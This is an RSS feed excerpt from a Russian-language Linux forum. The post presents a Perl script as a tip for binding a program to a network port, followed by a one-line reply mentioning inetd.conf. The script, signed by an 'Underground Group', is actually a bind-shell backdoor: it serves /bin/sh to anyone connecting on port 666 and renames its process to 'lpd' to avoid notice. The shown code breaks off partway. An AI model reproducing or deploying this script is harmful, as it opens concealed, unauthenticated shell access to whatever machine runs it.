OpenForum RSS: Раздел полезных советов: Пример perl скрипта для привязки программы к сетевому порту https://www.opennet.ru/openforum/vsluhforumID3/13154.html Скрипт демонстрирует организацию серверного приложения с<br> перенаправдением запросов к определенной программе.<br><br>#!/usr/bin/perl<br><br>#Y! Underground Group<br>#code by:Y4Ho<br>#We Are :Y4Ho0-Iranvertex-MrPorT-S.s-LordSatan-SirSisili<br>#Email:info@emperorteam.com<br>#Email:y4ho0_emperor@yahoo.com<br>#Homepage:www.emperorteam.com<br>#tnxto:C0llect0r-Sasan-Shabgard-simorgh.Ev-IHS<br>#Ex: ./Y!.pl<br><br>use Socket;<br><br>$port = 666;<br>$proto = getprotobyname('tcp');<br>$cmd = "lpd";<br>$system = '/bin/sh';<br><br>$0 = $cmd;<br><br>socket(SERVER, PF_INET, SOCK_STREAM, $proto)<br> or die "socket:$!";<br>setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))<br> or die "setsockopt: $!";<br>bind(SERVER, sockaddr_in($port, INADDR_ANY))<br> or die "bind: $!";<br>listen(SERVER, SOMAXCONN) or die "listen: $!";<br><br>for(; $paddr = accept(CLIENT, SERVER); close CLIENT)<br>{<br> open(STDIN, "&gt;&CLIENT");<br> open(STDOUT, "&gt;& Пример perl скрипта для привязки программы к сетевому порту (simple) https://www.opennet.ru/openforum/vsluhforumID3/13154.html#1 Thu, 29 Dec 2005 01:52:41 GMT А vi /etc/inetd.conf сложнее?